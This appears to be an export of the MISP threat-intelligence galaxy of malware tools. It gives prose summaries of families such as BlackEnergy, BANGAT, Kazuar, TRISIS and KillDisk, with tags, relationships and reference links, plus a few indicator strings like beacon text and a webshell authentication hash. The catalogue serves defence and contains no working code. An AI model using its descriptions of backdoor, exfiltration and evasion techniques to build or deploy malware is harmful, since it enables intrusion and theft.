BlackEnergy is a trojan which has undergone significant functional changes since it was first publicly analysed by Arbor Networks in 2007. It has evolved from a relatively simple DDoS trojan into a relatively sophisticated piece of modern malware with a modular architecture, making it a suitable tool for sending spam and for online bank fraud, as well as for targeted attacks. BlackEnergy version 2, which featured rootkit techniques, was documented by SecureWorks in 2010. The targeted attacks recently discovered are proof that the trojan is still alive and kicking in 2014. We provide a technical analysis of the BlackEnergy family, focusing on novel functionality and the differences introduced by new lite variants. We describe the most notable aspects of the malware, including its techniques for bypassing UAC, defeating the signed driver requirement in Windows and a selection of BlackEnergy2 plug-ins used for parasitic file infections, network discovery and remote code execution and data collection.

Shifu

Shifu is a Banking Trojan first discovered in 2015. Shifu is based on the Shiz source code which incorporated techniques used by Zeus. Attackers use Shifu to steal credentials for online banking websites around the world, starting in Russia but later including the UK, Italy, and others.

The tag is: *misp-galaxy:tool="Shifu"*

View relationships graph

Shifu has relationships with:

MM Core

Also known as “BaneChant”, MM Core is a file-less APT which is executed in memory by a downloader component. It was first reported in 2013 under the version number “2.0-LNK” where it used the tag “BaneChant” in its command-and-control (C2) network request. A second version “2.1-LNK” with the network tag “StrangeLove” was discovered shortly after.

The tag is: *misp-galaxy:tool="MM Core"*

Shamoon

Shamoon,[a] also known as Disttrack, is a modular computer virus discovered by Seculert[1] in 2012, targeting recent NT kernel-based versions of Microsoft Windows. The virus has been used for cyber espionage in the energy sector.[2][3][4] Its discovery was announced on 16 August 2012 by Symantec,[3] Kaspersky Lab,[5] and Seculert.[6] Similarities have been highlighted by Kaspersky Lab and Seculert between Shamoon and the Flame malware.[5][6]

EyePyramid Malware

Two Italians referred to as the “Occhionero brothers” have been arrested and accused of using malware and a carefully-prepared spear-phishing scheme to spy on high-profile politicians and businessmen. This case has been called “EyePyramid”, which we first discussed last week. (Conspiracy theories aside, the name came from a domain name and directory path that was found during the research.)

The tag is: *misp-galaxy:tool="EyePyramid Malware"*

StreamEx

Cylance dubbed this family of malware StreamEx, based upon a common exported function used across all samples ‘stream’, combined with the dropper functionality to append ‘ex’ to the DLL file name. The StreamEx family has the ability to access and modify the user’s file system, modify the registry, create system services, enumerate process and system information, enumerate network resources and drive types, scan for security tools such as firewall products and antivirus products, change browser security settings, and remotely execute commands. The malware documented in this post was predominantly 64-bit, however, there are 32-bit versions of the malware in the wild.

AURIGA

The AURIGA malware family shares a large amount of functionality with the BANGAT backdoor. The malware family contains functionality for keystroke logging, creating and killing processes, performing file system and registry modifications, spawning interactive command shells, performing process injection, logging off the current user or shutting down the local machine. The AURIGA malware contains a driver component which is used to inject the malware DLL into other processes. This driver can also perform process and IP connection hiding. The malware family will create a copy of cmd.exe to perform its C2 activity, and replace the "Microsoft corp" strings in the cmd.exe binary with different values. The malware family typically maintains persistence through installing itself as a service.

The tag is: *misp-galaxy:tool="AURIGA"*

BANGAT

The BANGAT malware family shares a large amount of functionality with the AURIGA backdoor. The malware family contains functionality for keylogging, creating and killing processes, performing filesystem and registry modifications, spawning interactive command shells, performing process injection, logging off the current user or shutting down the local machine. In addition, the malware also implements a custom VNC like protocol which sends screenshots of the desktop to the C2 server and accepts keyboard and mouse input. The malware communicates to its C2 servers using SSL, with self signed SSL certificates. The malware family will create a copy of cmd.exe to perform its C2 activity, and replace the "Microsoft corp" strings in the cmd.exe binary with different values. The malware family typically maintains persistence through installing itself as a service.

The tag is: *misp-galaxy:tool="BANGAT"*

BISCUIT

BISCUIT provides attackers with full access to an infected host. BISCUIT capabilities include launching an interactive command shell, enumerating servers on a Windows network, enumerating and manipulating process, and transferring files. BISCUIT communicates using a custom protocol, which is then encrypted using SSL. Once installed BISCUIT will attempt to beacon to its command/control servers approximately every 10 or 30 minutes. It will beacon its primary server first, followed by a secondary server. All communication is encrypted with SSL (OpenSSL 0.9.8i).

The tag is: *misp-galaxy:tool="BISCUIT"*

BOUNCER

BOUNCER will load an extracted DLL into memory, and then will call the DLL's dump export. The dump export is called with the parameters passed via the command line to the BOUNCER executable. It requires at least two arguments, the IP and port to send the password dump information. It can accept at most five arguments, including a proxy IP, port and an x.509 key for SSL authentication. The DLL backdoor has the capability to execute arbitrary commands, collect database and server information, brute force SQL login credentials, launch arbitrary programs, create processes and threads, delete files, and redirect network traffic.

The tag is: *misp-galaxy:tool="BOUNCER"*

GDOCUPLOAD

This family of malware is a utility designed to upload files to Google Docs. Nearly all communications are with docs.google.com are SSL encrypted. The malware does not use Google's published API to interact with their services. The malware does not currently work with Google Docs. It does not detect HTTP 302 redirections and will get caught in an infinite loop attempting to parse results from Google that are not present.

The tag is: *misp-galaxy:tool="GDOCUPLOAD"*

GLOOXMAIL

GLOOXMAIL communicates with Google's Jabber/XMPP servers and authenticates with a hard-coded username and password. The malware can accept commands over XMPP that includes file upload and download, provide a remote shell, sending process listings, and terminating specified processes. The malware makes extensive use of the open source gloox library (http://camaya.net/gloox/, version 0.9.9.12) to communicate using the Jabber/XMPP protocol. All communications with the Google XMPP server are encrypted.

The tag is: *misp-galaxy:tool="GLOOXMAIL"*

GLOOXMAIL is also known as:

- TROJAN.GTALK

GOGGLES

A family of downloader malware, that retrieves an encoded payload from a fixed location, usually in the form of a file with the .jpg extension. Some variants have just an .exe that acts as a downloader, others have an .exe launcher that runs as a service and then loads an associated .dll of the same name that acts as the downloader. This IOC is targeted at the downloaders only. After downloading the file, the malware decodes the downloaded payload into an .exe file and launches it. The malware usually stages the files it uses in the %TEMP% directory or the %WINDIR%\Temp directory.

The tag is: *misp-galaxy:tool="GOGGLES"*

GOGGLES is also known as:

- TROJAN.FOXY

GREENCAT

Members of this family are full featured backdoors that communicates with a Web-based Command & Control (C2) server over SSL. Features include interactive shell, gathering system info, uploading and downloading files, and creating and killing processes, Malware in this family usually communicates with a hard-coded domain using SSL on port 443. Some members of this family rely on launchers to establish persistence mechanism for them. Others contains functionality that allows it to install itself, replacing an existing Windows service, and uninstall itself. Several variants use %SystemRoot%\Tasks or %WinDir%\Tasks as working directories, additional malware artifacts may be found there.

The tag is: *misp-galaxy:tool="GREENCAT"*

LIGHTBOLT

LIGHTBOLT is a utility with the ability to perform HTTP GET requests for a list of user-specified URLs. The responses of the HTTP requests are then saved as MHTML files, which are added to encrypted RAR files. LIGHTBOLT has the ability to use software certificates for authentication.

The tag is: *misp-galaxy:tool="LIGHTBOLT"*

Table 21096. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

LIGHTDART

LIGHTDART is a tool used to access a pre-configured web page that hosts an interface to query a database or data set. The tool then downloads the results of a query against that web page to an encrypted RAR file. This RAR file (1.rar) is renamed and uploaded to an attacker controlled FTP server, or uploaded via an HTTP POST with a .jpg extension. The malware will execute this search once a day. The target webpage usually contains information useful to the attacker, which is updated on a regular basis. Examples of targeted information include weather information or ship coordinates.

The tag is: *misp-galaxy:tool="LIGHTDART"*

Table 21097. Table References

Links

LONGRUN

LONGRUN is a backdoor designed to communicate with a hard-coded IP address and provide the attackers with a custom interactive shell. It supports file uploads and downloads, and executing arbitrary commands on the compromised machine. When LONGRUN executes, it first loads configuration data stored as an obfuscated string inside the PE resource section. The distinctive string thequickbrownfxjmpsvalzydg is used as part of the input to the decoding algorithm. When the configuration data string is decoded it is parsed and treated as an IP and port number. The malware then connects to the host and begins interacting with it over a custom protocol.

The tag is: *misp-galaxy:tool="LONGRUN"*

Table 21098. Table References

STARSYPOUND

STARSYPOUND provides an interactive remote shell over an obfuscated communications channel. When it is first run, it loads a string (from the executable PE resource section) containing the beacon IP address and port. The malware sends the beacon string "**(SY)# <HOSTNAME>" to the remote system, where <HOSTNAME> is the hostname of the victim system. The remote host responds with a packet that also begins with the string "**(SY)# cmd". This causes the malware to launch a new cmd.exe child process. Further communications are forwarded to the cmd.exe child process to execute. The commands sent to the shell and their responses are obfuscated when sent over the network.

WARP

The WARP malware family is an HTTP based backdoor written in C++, and the majority of its code base is borrowed from source code available in the public domain. Network communications are implemented using the same WWW client library (w3c.cpp) available from www.dankrusi.com/file_69653F3336383837.html. The malware has system survey functionality (collects hostname, current user, system uptime, CPU speed, etc.) taken directly from the BO2K backdoor available from www.bo2k.com. It also contains the hard disk identification code found at www.winsim.com/diskid32/diskid32.cpp. When the WARP executing remote commands, the malware creates a copy of the ?%SYSTEMROOT%\system32\cmd.exe? file as '%USERPROFILE%\Temp\~ISUN32.EXE'. The version signature information of the duplicate executable is zeroed out. Some WARP variants maintain persistence through the use of DLL search order hijacking.

The tag is: *misp-galaxy:tool="WARP"*

WEBC2-Y21K

A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects

the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. Members of this family of backdoor malware talk to specific Web-based Command & Control (C2) servers. The backdoor has a limited command set, depending on version. It is primarily a downloader, but it classified as a backdoor because it can accept a limited command set, including changing local directories, downloading and executing additional files, sleeping, and connecting to a specific IP & port not initially included in the instruction set for the malware. Each version of the malware has at least one hardcoded URL to which it connects to receive its initial commands. This family of malware installs itself as a service, with the malware either being the executable run by the service, or the service DLL loaded by a legitimate service. The same core code is seen recompiled on different dates or with different names, but the same functionality. Key signatures include a specific set of functions (some of which can be used with the OS-provided rundll32.exe tool to install the malware as a service), and hardcoded strings used in communication with C2 servers to issue commands to the implant.

The tag is: *misp-galaxy:tool="WEBC2-Y21K"*

Table 21124. Table References

http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

WEBC2-YAHOO

The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-YAHOO variant enters a loop where every ten minutes it attempts to download a web page that may contain an encoded URL. The encoded URL will be found in the pages returned inside an attribute named 'sb' or 'ex' within a tag named 'yahoo'. The embedded link can direct the malware to download and execute files.

The tag is: *misp-galaxy:tool="WEBC2-YAHOO"*

https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html

BUGJUICE

BUGJUICE is a backdoor that is executed by launching a benign file and then hijacking the search order to load a malicious dll into it. That malicious dll then loads encrypted shellcode from the binary, which is decrypted and runs the final BUGJUICE payload. BUGJUICE defaults to TCP using a custom binary protocol to communicate with the C2, but can also use HTTP and HTTPs if directed by the C2. It has the capability to find files, enumerate drives, exfiltrate data, take screenshots and provide a reverse shell.

The tag is: *misp-galaxy:tool="BUGJUICE"*

QUASARRAT

QUASARRAT is an open-source RAT available at https://github.com/quasar/QuasarRat . The versions used by APT10 (1.3.4.0, 2.0.0.0, and 2.0.0.1) are not available via the public GitHub page, indicating that APT10 has further customized the open source version. The 2.0 versions require a dropper to decipher and launch the AES encrypted QUASARRAT payload. QUASARRAT is a fully functional .NET backdoor that has been used by multiple cyber espionage groups in the past. QUASARRAT is a publicly available Windows backdoor. It may visit a website, download, upload, and execute files. QUASARRAT may acquire system information, act as a remote desktop or shell, or remotely activate the webcam. The backdoor may also log keystrokes and steal passwords from commonly used browsers and FTP clients. QUASARRAT was originally named xRAT before it was renamed by the developers in August 2015. Availability: Public

da Vinci RCS

Hacking Team's "DaVinci" Remote Control System is able, the company says, to break encryption and allow law enforcement agencies to monitor encrypted files and emails (even ones encrypted with PGP), Skype and other Voice over IP or chat communication. It allows identification of the target's location and relationships. It can also remotely activate microphones and cameras on a computer and works worldwide. Hacking Team claims that its software is able to monitor hundreds of thousands of computers at once, all over the country. Trojans are available for Windows, Mac, Linux, iOS, Android, Symbian and Blackberry.

Cardinal RAT

Palo Alto Networks has discovered a previously unknown remote access Trojan (RAT) that has been active for over two years. It has a very low volume in this two-year period, totaling roughly 27 total samples. The malware is delivered via an innovative and unique technique: a downloader we are calling Carp uses malicious macros in Microsoft Excel documents to compile embedded C# (C Sharp) Programming Language source code into an executable that in turn is run to deploy the Cardinal RAT malware family. These malicious Excel files use a number of different lures, providing evidence of what attackers are using to entice victims into executing them.

The tag is: *misp-galaxy:tool="Cardinal RAT"*

View relationships graph

Cardinal RAT has relationships with:

- similar: misp-galaxy:tool="EVILNUM" with estimative-language:likelihood-probability="likely"

https://www.us-cert.gov/ncas/alerts/TA17-117A

Kazuar

Kazuar is a fully featured backdoor written using the .NET Framework and obfuscated using the open source packer called ConfuserEx. Unit 42 researchers have uncovered a backdoor Trojan used in an espionage campaign. The developers refer to this tool by the name Kazuar, which is a Trojan written using the Microsoft .NET Framework that offers actors complete access to compromised systems targeted by its operator. Kazuar includes a highly functional command set, which includes the ability to remotely load additional plugins to increase the Trojan's capabilities. During our analysis of this malware we uncovered interesting code paths and other artifacts that may indicate a Mac or Unix variant of this same tool also exists. Also, we discovered a unique feature within Kazuar: it exposes its capabilities through an Application Programming Interface (API) to a built-in webserver. We suspect the Kazuar tool may be linked to the Turla threat actor group (also known as Uroburos and Snake), who have been reported to have compromised embassies, defense contractors, educational institutions, and research organizations across the globe. A hallmark of Turla operations is iterations of their tools and code lineage in Kazuar can be traced back to at least 2005. If the hypothesis is correct and the Turla threat group is using Kazuar, we believe they may be using it as a replacement for Carbon and its derivatives. Of the myriad of tools observed in use by Turla Carbon and its variants were typically deployed as a second stage backdoor within targeted environments and we believe Kazuar may now hold a similar role for Turla operations.

The tag is: *misp-galaxy:tool="Kazuar"*

View relationships graph

Kazuar has relationships with:

- similar: misp-galaxy:malpedia="Kazuar" with estimative-language:likelihood-probability="likely"

Hackshit

Netskope Threat Research Labs recently discovered a Phishing-as-a-Service (PhaaS) platform named Hackshit, that records the credentials of the phished bait victims. The phished bait pages are packaged with base64 encoding and served from secure (HTTPS) websites with “.moe” top level domain (TLD) to evade traditional scanners. “.moe” TLD is intended for the purpose of ‘The marketing of products or services deemed’. The victim’s credentials are sent to the Hackshit PhaaS platform via websockets. The Netskope Active Platform can proactively protect customers by creating custom applications and a policy to block all the activities related to Hackshit PhaaS.

The tag is: *misp-galaxy:tool="Hackshit"*

Loki Bot

Loki Bot is a commodity malware sold on underground sites which is designed to steal private data from infected machines, and then submit that info to a command and control host via HTTP POST. This private data includes stored passwords, login credential information from Web browsers, and a variety of cryptocurrency wallets.

The tag is: *misp-galaxy:tool="Loki Bot"*

Table 21174. Table References

Links
https://phishme.com/loki-bot-malware/

KONNI

Talos has discovered an unknown Remote Administration Tool that we believe has been in use for over 3 years. During this time it has managed to avoid scrutiny by the security community. The current version of the malware allows the operator to steal files, keystrokes, perform screenshots, and execute arbitrary code on the infected host. Talos has named this malware KONNI. Throughout the multiple campaigns observed over the last 3 years, the actor has used an email attachment as the initial infection vector. They then use additional social engineering to prompt the target to open a .scr file, display a decoy document to the users, and finally execute the malware on the victim's machine. The malware infrastructure of the analysed samples was hosted by a free web hosting provider: 000webhost. The malware has evolved over time. In this article, we will analyse this evolution:

The tag is: *misp-galaxy:tool="KONNI"*

View relationships graph

KONNI has relationships with:

- similar: misp-galaxy:rat="Konni" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Konni (Windows)" with estimative-language:likelihood-probability="likely"

Table 21175. Table References

https://www.bleepingcomputer.com/news/security/report-ties-north-korean-attacks-to-new-malware-linked-by-word-macros/

NOKKI

Beginning in early 2018, Unit 42 observed a series of attacks using a previously unreported malware family, which we have named 'NOKKI'. The malware in question has ties to a previously

reported malware family named KONNI, however, after careful consideration, we believe enough differences are present to introduce a different malware family name. To reflect the close relationship with KONNI, we chose NOKKI, swapping KONNI's Ns and Ks. Because of code overlap found within both malware families, as well as infrastructure overlap, we believe the threat actors responsible for KONNI are very likely also responsible for NOKKI. Previous reports stated it was likely KONNI had been in use for over three years in multiple campaigns with a heavy interest in the Korean peninsula and surrounding areas. As of this writing, it is not certain if the KONNI or NOKKI operators are related to known adversary groups operating in the regions of interest, although there is evidence of a tenuous relationship with a group known as Reaper.

The tag is: *misp-galaxy:tool="NOKKI"*

View relationships graph

NOKKI has relationships with:

- similar: misp-galaxy:malpedia="Nokki" with estimative-language:likelihood-probability="almost-certain"

SpyDealer

Recently, Palo Alto Networks researchers discovered an advanced Android malware we've named "SpyDealer" which exfiltrates private data from more than 40 apps and steals sensitive messages from communication apps by abusing the Android accessibility service feature. SpyDealer uses exploits from a commercial rooting app to gain root privilege, which enables the subsequent data theft.

The tag is: *misp-galaxy:tool="SpyDealer"*

Svpeng

In mid-July 2017, we found a new modification of the well-known mobile banking malware family Svpeng – Trojan-Banker.AndroidOS.Svpeng.ae. In this modification, the cybercriminals have added new functionality: it now also works as a keylogger, stealing entered text through the use of accessibility services.

The tag is: *misp-galaxy:tool="Svpeng"*

Svpeng is also known as:

- trojan-banker.androidos.svpeng.ae

View relationships graph

Svpeng has relationships with:

TwoFace

While investigating a recent security incident, Unit 42 found a webshell that we believe was used by the threat actor to remotely access the network of a targeted Middle Eastern organization. The construction of the webshell was interesting by itself, as it was actually two separate webshells: an initial webshell that was responsible for saving and loading the second fully functional webshell. It is this second webshell that enabled the threat actor to run a variety of commands on the compromised server. Due to these two layers, we use the name TwoFace to track this webshell. During our analysis, we extracted the commands executed by the TwoFace webshell from the server logs on the compromised server. Our analysis shows that the commands issued by the threat actor date back to June 2016; this suggests that the actor had access to this shell for almost an entire year. The commands issued show the actor was interested in gathering credentials from the compromised server using the Mimikatz tool. We also saw the attacker using the TwoFace webshell to move laterally through the network by copying itself and other webshells to other servers.

The tag is: *misp-galaxy:tool="TwoFace"*

View relationships graph

TwoFace has relationships with:

- similar: misp-galaxy:malpedia="TwoFace" with estimative-language:likelihood-probability="almost-certain"

Table 21180. Table References

https://researchcenter.paloaltonetworks.com/2017/07/unit42-twoface-webshell-persistent-access-point-lateral-movement/

IntrudingDivisor

Like TwoFace, the IntrudingDivisor webshell requires the threat actor to authenticate before issuing commands. To authenticate, the actor must provide two pieces of information, first an integer that is divisible by 5473 and a string whose MD5 hash is “9A26A0E7B88940DAA84FC4D5E6C61AD0”. Upon successful authentication, the webshell has a command handler that uses integers within the request to determine the command to execute - To complete

JS_POWMET

Attacks that use completely fileless malware are a rare occurrence, so we thought it important to discuss a new trojan known as JS_POWMET (Detected by Trend Micro as JS_POWMET.DE), which arrives via an autostart registry procedure. By utilizing a completely fileless infection chain, the malware will be more difficult to analyze using a sandbox, making it more difficult for anti-malware engineers to examine.

The tag is: *misp-galaxy:tool="JS_POWMET"*

Table 21182. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/look-js_powmet-completely-fileless-malware/

EngineBox Malware

The main malware capabilities include a privilege escalation attempt using MS16–032 exploitation; a HTTP Proxy to intercept banking transactions; a backdoor to make it possible for the attacker to issue arbitrary remote commands and a C&C through a IRC channel. As it's being identified as a Generic Trojan by most of VirusTotal (VT) engines, let s name it EngineBox— the core malware class I saw after reverse engineering it.

The tag is: *misp-galaxy:tool="EngineBox Malware"*

ShadowPad

ShadowPad is a modular cyber-attack platform that attackers deploy in victim networks to gain flexible remote control capabilities. The platform is designed to run in two stages. The first stage is a shellcode that was embedded in a legitimate nssock2.dll used by Xshell, Xmanager and other software packages produced by NetSarang. This stage is responsible for connecting to “validation” command and control (C&C) servers and getting configuration information including the location of the real C&C server, which may be unique per victim. The second stage acts as an orchestrator for five main modules responsible for C&C communication, working with the DNS protocol, loading and injecting additional plugins into the memory of other processes.

The tag is: *misp-galaxy:tool="ShadowPad"*

ShadowPad is also known as:

- POISONPLUG
- Barlaiy

View relationships graph

ShadowPad has relationships with:

Dimnie

Dimnie, the commonly agreed upon name for the binary dropped by the PowerShell script above, has been around for several years. Palo Alto Networks has observed samples dating back to early 2014 with identical command and control mechanisms. The malware family serves as a downloader and has a modular design encompassing various information stealing functionalities. Each module is injected into the memory of core Windows processes, further complicating analysis. During its lifespan, it appears to have undergone few changes and its stealthy command and control methods combined with a previously Russian focused target base has allowed it to fly under the radar up until this most recent campaign.

The tag is: *misp-galaxy:tool="Dimnie"*

View relationships graph

Dimnie has relationships with:

Silence

In September 2017, we discovered a new targeted attack on financial institutions. Victims are mostly Russian banks but we also found infected organizations in Malaysia and Armenia. The attackers were using a known but still very effective technique for cybercriminals looking to make money: gaining persistent access to an internal banking network for a long period of time, making video recordings of the day to day activity on bank employees' PCs, learning how things works in their target banks, what software is being used, and then using that knowledge to steal as much money as possible when ready. We saw that technique before in Carbanak, and other similar cases worldwide. The infection vector is a spear-phishing email with a malicious attachment. An interesting point in the Silence attack is that the cybercriminals had already compromised banking infrastructure in order to send their spear-phishing emails from the addresses of real bank employees and look as unsuspicious as possible to future victims.

The tag is: *misp-galaxy:tool="Silence"*

Volgmer

Volgmer is a backdoor Trojan designed to provide covert access to a compromised system. Since at least 2013, HIDDEN COBRA actors have been observed using Volgmer malware in the wild to target the government, financial, automotive, and media industries. It is suspected that spear phishing is the primary delivery mechanism for Volgmer infections; however, HIDDEN COBRA actors use a suite of custom tools, some of which could also be used to initially compromise a system. Therefore, it is possible that additional HIDDEN COBRA malware may be present on network infrastructure compromised with Volgmer

The tag is: *misp-galaxy:tool="Volgmer"*

TRISIS

(Dragos Inc.) The team identifies this malware as TRISIS because it targets Schneider Electric's Triconex safety instrumented system (SIS) enabling the replacement of logic in final control elements. TRISIS is highly targeted and likely does not pose an immediate threat to other Schneider Electric customers, let alone other SIS products. (FireEye Inc.) This malware, which we call TRITON, is an attack framework built to interact with Triconex Safety Instrumented System (SIS) controllers. We have not attributed the incident to a threat actor, though we believe the activity is consistent with a nation state preparing for an attack. TRITON is one of a limited number of publicly identified malicious software families targeted at industrial control systems (ICS). It follows Stuxnet which was used against Iran in 2010 and Industroyer which we believe was deployed by Sandworm Team against Ukraine in 2016.

The tag is: *misp-galaxy:tool="TRISIS"*

TRISIS is also known as:

- TRITON

Travle

The Travle sample found during our investigation was a DLL with a single exported function (MSOProtect). The malware name Travle was chosen given a string found in early samples of this family: “Travle Path Failed!”. This typo was replaced with correct word “Travel” in newer releases.

We believe that Travle could be a successor to the NetTraveler family.

The tag is: *misp-galaxy:tool="Travle"*

Travle is also known as:

- PYLOT

Table 21220. Table References

Links
https://securelist.com/travle-aka-pylot-backdoor-hits-russian-speaking-targets/83455/

Digmine

Digmine is coded in AutoIt, and sent to would-be victims posing as a video file but is actually an AutoIt executable script. If the user's Facebook account is set to log in automatically, Digmine will manipulate Facebook Messenger in order to send a link to the file to the account's friends. The abuse of Facebook is limited to propagation for now, but it wouldn't be implausible for attackers to hijack the Facebook account itself down the line. This functionality's code is pushed from the command-and-control (C&C) server, which means it can be updated.

The tag is: *misp-galaxy:tool="Digmine"*

Table 21221. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/digmine-cryptocurrency-miner-spreading-via-facebook-messenger/

TSCookie

TSCookie itself only serves as a downloader. It expands functionality by downloading modules from C&C servers. The sample that was examined downloaded a DLL file which has exfiltrating function among many others (hereafter "TSCookieRAT"). Downloaded modules only runs on memory.

The tag is: *misp-galaxy:tool="TSCookie"*

Aurora

You probably have heard the recent news about a widespread attack that was carried out using a 0-Day exploit for Internet Explorer as one of the vectors. This exploit is also known as the "Aurora Exploit". The code has recently gone public and it was also added to the Metasploit framework. This exploit was used to deliver a malicious payload, known by the name of Trojan.Hydraq, the main purpose of which was to steal information from the compromised computer and report it back to the attackers. The exploit code makes use of known techniques to exploit a vulnerability that exists in the way Internet Explorer handles a deleted object. The final purpose of the exploit itself is to access an object that was previously deleted, causing the code to reference a memory location over which the attacker has control and in which the attacker dropped his malicious code.

The tag is: *misp-galaxy:tool="Aurora"*

Aurora is also known as:

- Hydraq

View relationships graph

Aurora has relationships with:

Cheshire Cat

Oldest Cheshire Cat malware compiled in 2002. It's a very old family of malware. The time stamps may be forged but the malware does have support for very old operating systems. The 2002 implant retrieves a handle for an asr2892 drives that they never got their hands on. It checks for a NE header which is a header type used before PE headers even existed. References to 16bit or DOS on a non 9x platform. This malware implant IS REALLY for old systems. The malware is for espionage - it's very carefully made to stay hidden. Newer versions install as icon handler shell extension for .lnk files. Shell in this case means the program manager because windows explorer was not yet a thing. It sets up COM server objects. It looks like it was written in pure C, but made to look like C++. A sensitive implant as well: it checks for all kinds of old MS platforms including Windows NT, win95, win98, winME and more. It checks the patch level as well. A lot of effort was put into adapting this malware to a lot of different operating systems with very granular decision chains.

Neuron

Neuron consists of both client and server components. The Neuron client and Neuron service are written using the .NET framework with some codebase overlaps. The Neuron client is used to infect victim endpoints and extract sensitive information from local client machines. The Neuron server is used to infect network infrastructure such as mail and web servers, and acts as local Command & Control (C2) for the client component. Establishing a local C2 limits interaction with the target network and remote hosts. It also reduces the log footprint of actor infrastructure and enables client interaction to appear more convincing as the traffic is contained within the target network.

The tag is: *misp-galaxy:tool="Neuron"*

View relationships graph

Neuron has relationships with:

- similar: misp-galaxy:malpedia="Neuron" with estimative-language:likelihood-probability="likely"

Gamut Botnet

Gamut was found to be downloaded by a Trojan Downloader that arrives as an attachment from a spam email message. The bot installation is quite simple. After the malware binary has been downloaded, it launches itself from its current directory, usually the Windows %Temp% folder and installs itself as a Windows service. The malware utilizes an anti-VM (virtual machine) trick and terminates itself if it detects that it is running in a virtual machine environment. The bot uses INT 03h trap sporadically in its code, an anti-debugging technique which prevents its code from running within a debugger environment. It can also determine if it is being debugged by using the Kernel32 API - IsDebuggerPresent function.

The tag is: *misp-galaxy:tool="Gamut Botnet"*

DOGCALL

DOGCALL is a backdoor commonly distributed as an encoded binary file downloaded and decrypted by shellcode following the exploitation of weaponized documents. DOGCALL is capable of capturing screenshots, logging keystrokes, evading analysis with anti-virtual machine detections, and leveraging cloud storage APIs such as Cloud, Box, Dropbox, and Yandex. DOGCALL was used to target South Korean Government and military organizations in March and April 2017. The malware is typically dropped using an HWP exploit in a lure document. The wiper tool, RUHAPPY, was found on some of the systems targeted by DOGCALL. While DOGCALL is primarily an espionage tool, RUHAPPY is a destructive wiper tool meant to render systems inoperable.

The tag is: *misp-galaxy:tool="DOGCALL"*

DOGCALL is also known as:

KillDisk Wiper

KillDisk, along with the multipurpose, cyberespionage-related BlackEnergy, was used in cyberattacks in late December 2015 against Ukraine's energy sector as well as its banking, rail, and mining industries. The malware has since metamorphosed into a threat used for digital extortion, affecting Windows and Linux platforms. The note accompanying the ransomware versions, like in the case of Petya, was a ruse: Because KillDisk also overwrites and deletes files (and don't store the encryption keys on disk or online), recovering the scrambled files was out of the question. The new variant we found, however, does not include a ransom note.

The tag is: *misp-galaxy:tool="KillDisk Wiper"*

KillDisk Wiper is also known as:

- KillDisk

View relationships graph

KillDisk Wiper has relationships with:

GoScanSSH

During a recent Incident Response (IR) engagement, Talos identified a new malware family that was being used to compromise SSH servers exposed to the internet. This malware, which we have named GoScanSSH, was written using the Go programming language, and exhibited several interesting characteristics. This is not the first malware family that Talos has observed that was written using Go. However, it is relatively uncommon to see malware written in this programming language. In this particular case, we also observed that the attacker created unique malware binaries for each host that was infected with the GoScanSSH malware. Additionally, the GoScanSSH command and control (C2) infrastructure was observed leveraging the Tor2Web proxy service in an attempt to make tracking the attacker-controlled infrastructure more difficult and resilient to

takedowns.

The tag is: *misp-galaxy:tool="GoScanSSH"*

Table 21253. Table References

Kwampirs

Once Orangeworm has infiltrated a victim's network, they deploy Trojan.Kwampirs, a backdoor Trojan that provides the attackers with remote access to the compromised computer. When executed, Kwampirs decrypts and extracts a copy of its main DLL payload from its resource section. Before writing the payload to disk, it inserts a randomly generated string into the middle of the decrypted payload in an attempt to evade hash-based detections.

Rubella Macro Builder

A crimeware kit dubbed the Rubella Macro Builder has recently been gaining popularity among members of a top-tier Russian hacking forum. Despite being relatively new and unsophisticated, the kit has a clear appeal for cybercriminals: it's cheap, fast, and can defeat basic static antivirus detection.

Maikspy

We discovered a malware family called Maikspy — a multi-platform spyware that can steal users' private data. The spyware targets Windows and Android users, and first posed as an adult game named after a popular U.S.-based adult film actress. Maikspy, which is an alias that combines the name of the adult film actress and spyware, has been around since 2016.

FacexWorm

Facebook, Chrome, and cryptocurrency users should be on the lookout for a new malware strain named FacexWorm that infects victims for the purpose of stealing passwords, stealing cryptocurrency funds, running cryptojacking scripts, and spamming Facebook users. This new strain was spotted in late April by Trend Micro researchers and appears to be related to two other Facebook Messenger spam campaigns, one that took place last August, and another one from December 2017, the latter spreading the Digmine malware. Researchers say FacexWorm's modus operandi is similar to the previous two campaigns, but with the addition of new techniques aimed at cryptocurrency users.

BabaYaga

The group behind BabaYaga —believed to be Russian-speaking hackers— uses this malware to inject sites with special keyboards to drive SEO traffic to hidden pages on compromised sites. These pages are then used to redirect users to affiliate marketing links, where if the user purchases advertised goods, the hackers also make a profit. The malware per-se is comprised of two modules —one that injects the spam content inside the compromised sites, and a backdoor module that gives attackers control over an infected site at any time. The intricacies of both modules are detailed in much more depth in this 26-page report authored by Defiant (formerly known as WordFence), the security firm which dissected the malware's more recent versions. "[BabaYaga] is relatively well-written, and it demonstrates that the author has some understanding of software development

challenges, like code deployment, performance and management," Defiant researchers say. "It can also infect Joomla and Drupal sites, or even generic PHP sites, but it is most fully developed around Wordpress."

The tag is: *misp-galaxy:tool="BabaYaga"*

Table 21269. Table References

Links
https://www.bleepingcomputer.com/news/security/lol-babayaga-wordpress-malware-updates-your-site/

InvisiMole

Except for the malware's binary file, very little is known of who's behind it, how it spreads, or in what types of campaigns has this been used.

"Our telemetry indicates that the malicious actors behind this malware have been active at least since 2013, yet the cyber-espionage tool was never analyzed nor detected until discovered by ESET products on compromised computers in Ukraine and Russia," said ESET researcher Zuzana Hromcová, who recently penned an in-depth report about this new threat.

"All infection vectors are possible, including installation facilitated by physical access to the machine," Hromcová added.

Typical to malware used in highly-targeted attacks, the malware has been stripped of most clues that could lead researchers back to its author. With the exception of one file (dating to October 13, 2013), all compilation dates have been stripped and replaced with zeros, giving little clues regarding its timeline and lifespan.

Furthermore, the malware is some clever piece of coding in itself, as it's comprised of two modules, both with their own set of spying features, but which can also help each other in exfiltrating data.

Roaming Mantis

